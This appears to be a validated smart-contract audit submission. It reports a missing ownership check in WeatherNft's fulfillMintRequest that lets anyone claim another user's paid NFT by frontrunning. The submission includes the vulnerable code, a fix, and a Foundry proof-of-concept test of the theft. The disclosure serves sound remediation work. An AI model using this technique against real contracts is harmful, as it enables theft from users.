Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access control in `WeatherNft:fulfillMintRequest` enables NFT theft via frontrunning

blackgrease

Summary

The WeatherNft:fulfillMintRequest is missing an access control check that ties the requestId to the original requester. As a result, anyone with a valid, unprocessed requestId can claim the NFT - effectively resulting in a stolen NFT.

Description

The WeatherNft:fulfillMintRequest is used to claim an NFT that has been paid and requested by a user. The current implementation of fulfillMintRequest does not check that the msg.sender is associated with the requestId for a specific Weather NFT.

This means that anyone can call fulfillMintRequest with a valid RequestId (for an NFT that has not been claimed) and can claim ownership of a Weather NFT that does not belong to them.

As all data in the blockchain is public, a malicious actor can obtain a valid requestId before the legitimate user invokes the function, and front-run the transaction claiming the NFT.

Affected Area

Below is a code snippet of the vulnerable WeatherNft:fulfillMintRequest function

//@audit-issue: Anyone can call this and claim a Weather NFT. There is no access control
function fulfillMintRequest(bytes32 requestId) external {
​
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
​
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
​
if (response.length == 0 || err.length > 0) {
return;
}
​
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
​
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
​
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
//Logic carries on...
​

Risk / Impact

This issue is classified as High severity, for the following reasons:

High Impact: Exploitation results in the theft of an NFT and the permanent loss of funds for the rightful owner.

  1. The attacker gains full control of an NFT that may have monetary, now or in the future. As the blockchain is immutable, there is no way to revert the transaction.

  2. The rightful user suffers a financial loss, having paid for the NFT but no longer holding ownership.

Likelihood: The Likelihood of exploitation is also High because

  1. There are no access control checks or protective measures in place making it easy for a malicious actor to claim ownership of a requested NFT.

Recommended Mitigation

This security issue can be mitigated by adding an access control check to ensure only the original requester can call fulfillMintRequest for their requestId. A suggested code fix is provided below

​
function fulfillMintRequest(bytes32 requestId) external {
​
+ //Access Control Check to prevent FrontRunning
+ address user = s_funcReqIdToUserMintReq[requestId].user;
+ require(msg.sender == user, WeatherNft__Unauthorized());
​
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;

Proof of Concept

Code

Add the code to your current test suite and run with: forge test --mt testStealingNftByFrontRunning --fork-url $AVAX_FUJI_RPC_URL --via-ir -vvv

​
​
function testStealingNftByFrontRunning() public {
address maliciousPerson = makeAddr("maliciousPerson");
uint256 currentMintPrice = weatherNft.s_currentMintPrice();
​
//PreChecks
uint256 startingNftUserBalance = weatherNft.balanceOf(user);
uint256 startingNftMalicousUserBalance = weatherNft.balanceOf(maliciousPerson);
assertEq(startingNftUserBalance, startingNftMalicousUserBalance); //They should both be 0
​
/////Arrange//////
​
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
​
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
​
vm.recordLogs();
bytes32 requestId = weatherNft.requestMintWeatherNFT{value: currentMintPrice}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
​
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
//////Act///////
vm.prank(maliciousPerson);
weatherNft.fulfillMintRequest(reqId);
​
/////Assert////
​
uint256 finalNftUserBalance = weatherNft.balanceOf(user);
uint256 finalNftMaliciousUserBalance = weatherNft.balanceOf(maliciousPerson);
​
assertEq(finalNftUserBalance, 0);
assertEq(finalNftMaliciousUserBalance, 1);
​
console.log("[User]Starting Number of NFTs: ", startingNftUserBalance);
console.log("[MaliciousPerson]Starting Number of NFTs: ", startingNftMalicousUserBalance);
console.log("[User]Final Number of NFTs: ", finalNftUserBalance);
console.log("[MaliciousPerson]Final Number of NFTs: ", finalNftMaliciousUserBalance);
}
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.